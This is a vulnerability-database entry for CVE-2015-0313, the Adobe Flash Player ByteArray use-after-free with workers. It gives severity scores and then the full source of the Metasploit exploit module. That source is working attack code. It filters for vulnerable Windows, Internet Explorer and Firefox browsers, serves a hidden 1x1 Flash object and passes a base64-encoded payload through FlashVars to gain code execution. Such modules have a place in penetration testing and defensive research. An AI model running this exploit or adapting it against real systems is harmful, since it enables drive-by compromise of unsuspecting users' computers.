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Unknown, hdarwin, juan vazquez <[email protected]>MSF:EXPLOIT-WINDOWS-BROWSER-ADOBE_FLASH_WORKER_BYTE_ARRAY_UAF-

HistoryMar 27, 2015 - 11:51 p.m.

Adobe Flash Player ByteArray With Workers Use After Free

2015-03-2723:51:13

Unknown, hdarwin, juan vazquez <[email protected]>

www.rapid7.com

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.973 High

EPSS

Percentile

99.9%

JSON

This module exploits a use-after-free vulnerability in Adobe Flash Player. The vulnerability occurs when the ByteArray assigned to the current ApplicationDomain is freed from an ActionScript worker, which can fill the memory and notify the main thread to corrupt the new contents. This module has been tested successfully on Windows 7 SP1 (32-bit), IE 8 to IE 11 and Flash 16.0.0.296.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info={})
    super(update_info(info,
      'Name'                => 'Adobe Flash Player ByteArray With Workers Use After Free',
      'Description'         => %q{
        This module exploits a use-after-free vulnerability in Adobe Flash Player. The
        vulnerability occurs when the ByteArray assigned to the current ApplicationDomain
        is freed from an ActionScript worker, which can fill the memory and notify the main
        thread to corrupt the new contents. This module has been tested successfully on
        Windows 7 SP1 (32-bit), IE 8 to IE 11 and Flash 16.0.0.296.
      },
      'License'             => MSF_LICENSE,
      'Author'              =>
        [
          'Unknown', # Vulnerability discovery and exploit in the wild
          'hdarwin', # Public exploit by @hdarwin89 (all the magic)
          'juan vazquez' # msf module
        ],
      'References'          =>
        [
          ['CVE', '2015-0313'],
          ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-02.html'],
          ['URL', 'http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/'],
          ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2015-0313-the-new-flash-player-zero-day/']
        ],
      'Payload'             =>
        {
          'DisableNops' => true
        },
      'Platform'            => 'win',
      'BrowserRequirements' =>
        {
          :source  => /script|headers/i,
          :os_name => lambda do |os|
            os =~ OperatingSystems::Match::WINDOWS_7 ||
              os =~ OperatingSystems::Match::WINDOWS_81
          end,
          :ua_name => lambda { |ua| [Msf::HttpClients::IE, Msf::HttpClients::FF].include?(ua) },
          :flash   => lambda { |ver| ver =~ /^16\./ && Rex::Version.new(ver) <= Rex::Version.new('16.0.0.296') },
          :arch    => ARCH_X86
        },
      'Targets'             =>
        [
          [ 'Automatic', {} ]
        ],
      'Privileged'          => false,
      'DisclosureDate'      => '2015-02-02',
      'DefaultTarget'       => 0))
  end

  def exploit
    @swf = create_swf
    super
  end

  def on_request_exploit(cli, request, target_info)
    print_status("Request: #{request.uri}")

    if request.uri =~ /\.swf$/
      print_status('Sending SWF...')
      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
      return
    end

    print_status('Sending HTML...')
    send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
  end

  def exploit_template(cli, target_info)
    swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
    target_payload = get_payload(cli, target_info)
    b64_payload = Rex::Text.encode_base64(target_payload)
    platform_id = 'win'
    os_name = target_info[:os_name]

    html_template = %Q|<html>
    <body>
    <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
    <param name="movie" value="<%=swf_random%>" />
    <param name="allowScriptAccess" value="always" />
    <param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" />
    <param name="Play" value="true" />
    <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/>
    </object>
    </body>
    </html>
    |

    return html_template, binding()
  end

  def create_swf
    path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0313', 'msf.swf')
    swf =  ::File.open(path, 'rb') { |f| swf = f.read }

    swf
  end
end